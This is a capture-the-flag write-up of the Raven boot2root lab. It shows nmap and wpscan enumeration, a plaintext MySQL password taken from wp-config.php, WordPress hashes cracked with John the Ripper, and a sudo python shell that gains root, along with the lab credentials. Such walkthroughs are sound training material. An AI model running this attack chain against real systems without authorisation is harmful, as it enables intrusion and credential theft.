

Red Team

Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Port	Service	Version
22	ssh	OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80	http	Apache httpd 2.4.10 ((Debian))
111	rpcbind	2-4 (RPC #100000)
139	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

```
Nmap scan report for 192.168.1.110
Host is up (0.00099s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Critical Vulnerabilities

1. WordPress Brute Force and User Enumeration Utility
2. Weak Passwords, No complexity
3. Found User Hashes were not salted (found in WP database table wp_users)

Scanning for WordPress Vulnerabilities:

Command:

'wpscan --url

<http://192.168.1.110/wordpress/>

--enumerate vp'

```
[+] http://192.168.1.110/wordpress/
  Interesting Entry: Server: Apache/2.4.10 (Debian)
  Found By: Headers (Passive Detection)
  Confidence: 100%

[+] http://192.168.1.110/wordpress/xmlrpc.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%
  References:
  - http://codex.wordpress.org/XML-RPC_Pingback_API
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.1.110/wordpress/readme.html
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%

[+] http://192.168.1.110/wordpress/wp-cron.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 60%
  References:
  - https://www.iplocation.net/defend-wordpress-from-ddos
  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8.17 identified (Latest, released on 2021-05-13).
  Found By: Emoji Settings (Passive Detection)
  - http://192.168.1.110/wordpress/, Match: '-release.min.js?ver=4.8.17'
  Confirmed By: Meta Generator (Passive Detection)
  - http://192.168.1.110/wordpress/, Match: 'WordPress 4.8.17'
```

Scanning for vulnerabilities via nmap:

`nmap -Pn --script vuln 192.168.1.110`

```
root@Kali:~# nmap -Pn --script vuln 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-10 16:30 PST
Nmap scan report for 192.168.1.110
Host is up (0.0013s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp    open  http
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf:
|_ Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.1
10
Found the following possible CSRF vulnerabilities:

Path: http://192.168.1.110:80/
Form id:
Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=
1462626880ade1ac87bd9c93a6id=92a4423d01

Path: http://192.168.1.110:80/index.html
Form id:
Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=
1462626880ade1ac87bd9c93a6id=92a4423d01

Path: http://192.168.1.110:80/about.html
Form id:
Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=
1462626880ade1ac87bd9c93a6id=92a4423d01
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-enum:
|_ /wordpress/: Blog
|_ /wordpress/wp-login.php: Wordpress login page.
|_ /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (
debian)'
|_ /img/: Potentially interesting directory w/ listing on 'apache/2.4.10 (
debian)'
|_ /js/: Potentially interesting directory w/ listing on 'apache/2.4.10 (d
ebian)'
|_ /manual/: Potentially interesting folder
|_ /vendor/: Potentially interesting directory w/ listing on 'apache/2.4.1
0 (debian)'
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
111/tcp    open  rpcbind
```

Exploitation: Flag 1 (open port 22 SSH and weak password)

- Target 1

- Flag1:

- Exploit Used:

- WPScan to enumerate WordPress Site users of Target 1

- Command:

- 'wpscan --url <http://192.168.1.110/wordpress/> --enumerate u'

'nano service.html':

```
<!-- End footer Area -->  
<!-- Flag1{b9bbcb33e11b80be759c4e844862482d} -->
```

```
[+] Enumerating Users (via Passive and Aggressive Methods)  
Brute Forcing Author IDs - Time: 00:00:00 < (0 / 10) 0.00% ETA: ??:?:?  
Brute Forcing Author IDs - Time: 00:00:00 < (1 / 10) 10.00% ETA: 00:00:0  
Brute Forcing Author IDs - Time: 00:00:00 < (2 / 10) 20.00% ETA: 00:00:0  
Brute Forcing Author IDs - Time: 00:00:00 < (3 / 10) 30.00% ETA: 00:00:0  
Brute Forcing Author IDs - Time: 00:00:01 < (7 / 10) 70.00% ETA: 00:00:0  
Brute Forcing Author IDs - Time: 00:00:01 < (8 / 10) 80.00% ETA: 00:00:0  
Brute Forcing Author IDs - Time: 00:00:01 < (10 / 10) 100.00% Time: 00:00  
:01  
  
[i] User(s) Identified:  
  
[+] steven  
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection  
)  
| Confirmed By: Login Error Messages (Aggressive Detection)  
  
[+] michael  
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection  
)  
| Confirmed By: Login Error Messages (Aggressive Detection)
```

Exploitation: Flag 2 (open port 22 and weak password)

- Target 1
- Flag2.txt: fc3fd58dcdad9ab23faca6e9a3e581c
 - Exploit Used: Enumeration of WordPress Users (same as exploit 1, just had to search with find for flag2.txt)
 - Command: 'wpscan --url <http://192.168.1.110/wordpress/> --enumerate u'
 - Commands to reach flag:
 - cd /
 - cd var/www
 - ls
 - cat flag2.txt

```
michael@target1:/var/www$ ls
flag2.txt  html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```


Exploitation: Flag 3 (WP configuration and SQL database)

- Target 1
 - Flag3: afc01ab56b50591e7dccf93122770cd2
 - Exploit used: After enumerating the users and gaining ssh access as 'michael' a file (wp-config.php) containing information to the MYSQL database was found (i.e User Name, Password that were stored in plain text) and gave access to the database.
 - Flag 3 was then located after looking around in the wp_posts table.
 - Commands:
 - `mysql -u root -p'R@v3nSecurity' -h 127.0.0.1`
 - `Show databases;`
 - `Use wordpress;`
 - `Show tables;`
 - `Select * from wp_posts;`

```
| 4 | 0 | page | 0 |  
1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc01ab56b50591e7dc  
cf93122770cd2}
```

Exploitation: Flag 4 (privilege escalation)

- Target 1

- Flag4.txt: 715dea6c055b9fe3337544932f2941ce
- Exploit used: unsalted hash was brute forced for the account name steven and used sudo privileges to escalate to root with python.
 - Finding Flag 4: After gaining access to the MYSQL database in michael's account, the password hashes of two users (michael and steven) were located and noted in the wp_users table.
 - Following locating the hashes and copying to the Kali machine in a file called wp_hashes.txt john the ripper was used to crack them and gain access
 - Commands:
 - mysql -u root -p'R@v3nSecurity' -h 127.0.0.1
 - Show databases;
 - Use wordpress;
 - Show tables;
 - Select * from wp_posts;

```
mysql> select * from wp_users;
```

ID	user_login	user_pass	user_activation_key	user_nicename	user_email
1	michael	\$P\$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0		michael	michael@raven.org
2	steven	\$P\$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/		steven	steven@raven.org

Exploitation: Flag 4 (con't)

- Commands: (cracking steven's password and escalating to root)
 - John wp_hashes.txt
 - ssh steven@192.168.1.110
 - sudo -l
 - sudo python -c 'import pty;pty.spawn("/bin/bash")'
 - cd ~ | ls
 - cat flag4.txt

```
root@Kali:~/Desktop# john wp_hashes.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 30 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 26 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 45 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 35 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 45 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 43 candidates buffered for the current salt, minimum 48 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 25 candidates buffered for the current salt, minimum 48 needed for performance.
Warning: Only 23 candidates buffered for the current salt, minimum 48 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:00:20 3/3 0g/s 7961p/s 15836c/s 15836C/s ambel..111193
pink84 (steven)
```

```
root@target1:~# ls
flag4.txt
root@target1:~# cat flag4.txt
```

```
-----
|  _ _ \
| | / / _ _ _ _ _ _ _ _
|  // _ ` \ \ / / _ ` \
| | \ \ ( | \ \ / / _ / | |
\ | \ \ _ , | \ / \ _ _ | |
```

```
flag4{715dea6c055b9fe3337544932f2941ce}
```

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

```
@mccannwj / wjmccann.github.io
root@target1:~#
```